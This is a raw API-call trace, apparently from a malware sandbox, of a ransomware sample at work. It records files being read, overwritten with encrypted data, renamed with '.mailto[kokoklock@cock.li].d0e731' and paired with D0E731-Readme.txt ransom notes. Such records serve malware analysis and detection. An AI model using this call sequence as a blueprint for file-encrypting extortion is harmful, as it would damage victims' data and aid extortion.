[0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x2bb0b1af [0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x8e0e9cde [0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0xbaab1466 [0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x4ae0d1fe [0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0xbb61ab2 [0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x6152def6 [0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x11173c94 [0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x6a454efd [0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x8c78987 [0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x3fe82c66 [0068.629] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0xf3894eca [0068.630] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x9d16fc90 [0068.630] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0xd3191c8d [0068.630] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0xf52a1a8b [0068.630] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x235d1d8b [0068.630] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x9bb59c0a [0068.630] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0x733ac1fc [0068.630] RtlRandom (in: Seed=0xba2fc8c | out: Seed=0xba2fc8c) returned 0xe8cb760c [0068.640] ReadFile (in: hFile=0x76c, lpBuffer=0x3475830, nNumberOfBytesToRead=0xfc8, lpNumberOfBytesRead=0xba2fc80, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xba2fc80*=0xfc8, lpOverlapped=0x0) returned 1 [0068.640] SetFilePointerEx (in: hFile=0x76c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xba2fc48 | out: lpNewFilePointer=0x0) returned 1 [0068.640] WriteFile (in: hFile=0x76c, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0xfc8, lpNumberOfBytesWritten=0xba2fc7c, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xba2fc7c*=0xfc8, lpOverlapped=0x0) returned 1 [0068.640] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423a88 [0068.641] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0068.641] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423d80) returned 1 [0068.641] WriteFile (in: hFile=0x76c, lpBuffer=0x3423a88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xba2fc78, lpOverlapped=0x0 | out: lpBuffer=0x3423a88*, lpNumberOfBytesWritten=0xba2fc78*=0x20, lpOverlapped=0x0) returned 1 [0068.641] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423a88) returned 1 [0068.641] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.641] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.641] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34799e8) returned 1 [0068.641] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0068.641] WriteFile (in: hFile=0x76c, lpBuffer=0x3423a60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xba2fca4, lpOverlapped=0x0 | out: lpBuffer=0x3423a60*, lpNumberOfBytesWritten=0xba2fca4*=0x8, lpOverlapped=0x0) returned 1 [0068.641] WriteFile (in: hFile=0x76c, lpBuffer=0xba2fcbc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xba2fca4, lpOverlapped=0x0 | out: lpBuffer=0xba2fcbc*, lpNumberOfBytesWritten=0xba2fca4*=0x4, lpOverlapped=0x0) returned 1 [0068.641] WriteFile (in: hFile=0x76c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xba2fca4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xba2fca4*=0x4, lpOverlapped=0x0) returned 1 [0068.641] WriteFile (in: hFile=0x76c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xba2fca4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xba2fca4*=0x6c, lpOverlapped=0x0) returned 1 [0068.641] WriteFile (in: hFile=0x76c, lpBuffer=0x3423920*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xba2fca4, lpOverlapped=0x0 | out: lpBuffer=0x3423920*, lpNumberOfBytesWritten=0xba2fca4*=0x20, lpOverlapped=0x0) returned 1 [0068.641] WriteFile (in: hFile=0x76c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xba2fca4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xba2fca4*=0x4, lpOverlapped=0x0) returned 1 [0068.641] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423920) returned 1 [0068.641] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423a38) returned 1 [0068.642] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423a60) returned 1 [0068.642] CloseHandle (hObject=0x76c) returned 1 [0071.371] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bf98 [0071.371] wcscpy (in: _Dest=0x347bf98, _Source="C:\\588bce7c90097ed212\\1045\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned="C:\\588bce7c90097ed212\\1045\\eula.rtf" [0071.371] wcscat (in: _Dest=0x347bf98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0071.371] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.372] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.372] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bf98) returned 1 [0071.372] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf", dwFileAttributes=0x80) returned 0 [0071.372] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426d28 [0071.372] wcscpy (in: _Dest=0x3426d28, _Source="C:\\588bce7c90097ed212\\1045\\" | out: _Dest="C:\\588bce7c90097ed212\\1045\\") returned="C:\\588bce7c90097ed212\\1045\\" [0071.372] wcscat (in: _Dest=0x3426d28, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1045\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1045\\D0E731-Readme.txt" [0071.372] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1045\\d0e731-readme.txt")) returned 0x20 [0071.372] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426d28) returned 1 [0071.372] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fabe8) returned 1 [0071.372] RtlExitUserThread (Status=0x1) Thread: id = 221 os_tid = 0x11ec [0063.480] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80 [0064.633] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0071.349] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7bc [0071.349] GetFileSizeEx (in: hFile=0x7bc, lpFileSize=0xbaafc94 | out: lpFileSize=0xbaafc94*=82374) returned 1 [0071.349] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x141c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.350] ReadFile (in: hFile=0x7bc, lpBuffer=0xbaafc68, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xbaafc64, lpOverlapped=0x0 | out: lpBuffer=0xbaafc68*, lpNumberOfBytesRead=0xbaafc64*=0x4, lpOverlapped=0x0) returned 1 [0071.351] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.351] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.351] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0071.351] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e60 [0071.351] NtQuerySystemTime (in: CurrentTime=0xbaafc40 | out: CurrentTime=0xbaafc40*=132121176292441437) returned 0x0 [0071.351] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0x66d23431 [0071.351] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0x44468f84 [0071.351] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0xf69a45fe [0071.351] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0xa0fde67d [0071.351] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0x7c3fbc6b [0071.351] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0xa58683d6 [0071.351] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0x9ded7904 [0071.351] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0xdcd1b7d7 [0071.351] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0xb1e81c7d [0071.351] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0x7ea656d3 [0071.351] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0xcc2dd4e7 [0071.351] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0x9009333e [0071.351] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0x8d25d43a [0071.351] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0x9eb62ed4 [0071.351] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0xdc738e85 [0071.351] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0xcb9e0ed9 [0071.351] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0x57343212 [0071.351] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0x4324af5b [0071.352] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0xe462fe0 [0071.352] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0x8f4aaed9 [0071.352] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0x84e3fbc9 [0071.352] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0x8b4b0b9f [0071.352] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0xacbae857 [0071.352] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0xa5766f36 [0071.352] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0xbc4ffeaf [0071.352] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0xe6600fd1 [0071.352] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0xc055bb40 [0071.352] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0x431caf03 [0071.352] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0x8ce97b40 [0071.352] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0x84575a44 [0071.352] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0x8cb3e75b [0071.352] RtlRandom (in: Seed=0xbaafc4c | out: Seed=0xbaafc4c) returned 0x4dc25b4d [0071.363] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.363] ReadFile (in: hFile=0x7bc, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xbaafc18, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xbaafc18*=0x4096, lpOverlapped=0x0) returned 1 [0071.363] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.364] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0071.364] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0071.364] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.364] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422fa0) returned 1 [0071.364] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.364] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.364] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423108 [0071.364] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423108) returned 1 [0071.364] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.364] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0071.364] WriteFile (in: hFile=0x7bc, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xbaafc18, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0xbaafc18*=0x4096, lpOverlapped=0x0) returned 1 [0071.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.365] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x141c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.365] WriteFile (in: hFile=0x7bc, lpBuffer=0x3422fa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbaafc50, lpOverlapped=0x0 | out: lpBuffer=0x3422fa0*, lpNumberOfBytesWritten=0xbaafc50*=0x20, lpOverlapped=0x0) returned 1 [0071.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422fa0) returned 1 [0071.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.365] WriteFile (in: hFile=0x7bc, lpBuffer=0x34231d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xbaafc64, lpOverlapped=0x0 | out: lpBuffer=0x34231d0*, lpNumberOfBytesWritten=0xbaafc64*=0x8, lpOverlapped=0x0) returned 1 [0071.365] WriteFile (in: hFile=0x7bc, lpBuffer=0xbaafc7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbaafc64, lpOverlapped=0x0 | out: lpBuffer=0xbaafc7c*, lpNumberOfBytesWritten=0xbaafc64*=0x4, lpOverlapped=0x0) returned 1 [0071.365] WriteFile (in: hFile=0x7bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbaafc64, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xbaafc64*=0x4, lpOverlapped=0x0) returned 1 [0071.365] WriteFile (in: hFile=0x7bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xbaafc64, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xbaafc64*=0x6c, lpOverlapped=0x0) returned 1 [0071.365] WriteFile (in: hFile=0x7bc, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbaafc64, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0xbaafc64*=0x20, lpOverlapped=0x0) returned 1 [0071.365] WriteFile (in: hFile=0x7bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xbaafc64, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xbaafc64*=0x4, lpOverlapped=0x0) returned 1 [0071.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0071.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e88) returned 1 [0071.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231d0) returned 1 [0071.365] CloseHandle (hObject=0x7bc) returned 1 [0071.366] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e6330 [0071.366] wcscpy (in: _Dest=0x33e6330, _Source="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" [0071.366] wcscat (in: _Dest=0x33e6330, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0071.366] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.366] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6330) returned 1 [0071.367] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0071.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426d28 [0071.367] wcscpy (in: _Dest=0x3426d28, _Source="C:\\588bce7c90097ed212\\1045\\" | out: _Dest="C:\\588bce7c90097ed212\\1045\\") returned="C:\\588bce7c90097ed212\\1045\\" [0071.367] wcscat (in: _Dest=0x3426d28, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1045\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1045\\D0E731-Readme.txt" [0071.367] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1045\\d0e731-readme.txt")) returned 0xffffffff [0071.367] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1045\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7bc [0071.369] WriteFile (in: hFile=0x7bc, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xbaafc60, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xbaafc60*=0x481, lpOverlapped=0x0) returned 1 [0071.370] CloseHandle (hObject=0x7bc) returned 1 [0071.370] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426d28) returned 1 [0071.370] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8668) returned 1 [0071.370] RtlExitUserThread (Status=0x1) Thread: id = 222 os_tid = 0x11f0 [0063.480] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80 [0066.373] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf", dwFileAttributes=0x20) returned 1 [0068.642] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x768 [0068.643] GetFileSizeEx (in: hFile=0x768, lpFileSize=0xbb2fa80 | out: lpFileSize=0xbb2fa80*=3683) returned 1 [0068.643] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0xe5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.643] ReadFile (in: hFile=0x768, lpBuffer=0xbb2fa54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xbb2fa50, lpOverlapped=0x0 | out: lpBuffer=0xbb2fa54*, lpNumberOfBytesRead=0xbb2fa50*=0x4, lpOverlapped=0x0) returned 1 [0068.644] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.644] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0068.644] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423920 [0068.644] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423a38 [0068.644] NtQuerySystemTime (in: CurrentTime=0xbb2fa2c | out: CurrentTime=0xbb2fa2c*=132121176265410852) returned 0x0 [0068.644] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0xc169fbd0 [0068.644] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0x1b386cda [0068.644] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0x9392e238 [0068.644] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0xa935b994 [0068.644] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0x13d31d7c [0068.644] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0xf2173266 [0068.644] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0x29ca50da [0068.644] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0x8e562755 [0068.644] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0xbcdb7b34 [0068.644] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0x3813b117 [0068.644] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0x15127972 [0068.644] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0x881b7c89 [0068.644] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0xeae8d0f9 [0068.644] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0x8e22f54e [0068.644] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0xb8cd4cdf [0068.645] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0x2cbb1470 [0068.645] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0xa6def1cb [0068.645] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0x8dafea71 [0068.645] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0x23c2cb56 [0068.645] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0xc5cb0715 [0068.645] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0x8f8d840e [0068.645] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0x64cfc90d [0068.645] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0xb089db8e [0068.645] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0xed1c00bb [0068.645] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0xc0b0bfcc [0068.645] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0xe55427aa [0068.645] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0x4f95bb0a [0068.645] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0x58c378b7 [0068.645] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0xe1a376de [0068.645] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0x308d5c1a [0068.645] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0x864dfc00 [0068.645] RtlRandom (in: Seed=0xbb2fa38 | out: Seed=0xbb2fa38) returned 0x3615461b [0068.655] ReadFile (in: hFile=0x768, lpBuffer=0x3475830, nNumberOfBytesToRead=0xe63, lpNumberOfBytesRead=0xbb2fa2c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xbb2fa2c*=0xe63, lpOverlapped=0x0) returned 1 [0068.656] SetFilePointerEx (in: hFile=0x768, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xbb2f9f4 | out: lpNewFilePointer=0x0) returned 1 [0068.656] WriteFile (in: hFile=0x768, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0xe63, lpNumberOfBytesWritten=0xbb2fa28, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xbb2fa28*=0xe63, lpOverlapped=0x0) returned 1 [0068.656] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423d80 [0068.656] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.656] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e20) returned 1 [0068.656] WriteFile (in: hFile=0x768, lpBuffer=0x3423d80*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xbb2fa24, lpOverlapped=0x0 | out: lpBuffer=0x3423d80*, lpNumberOfBytesWritten=0xbb2fa24*=0x20, lpOverlapped=0x0) returned 1 [0068.656] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423d80) returned 1 [0068.656] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.656] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 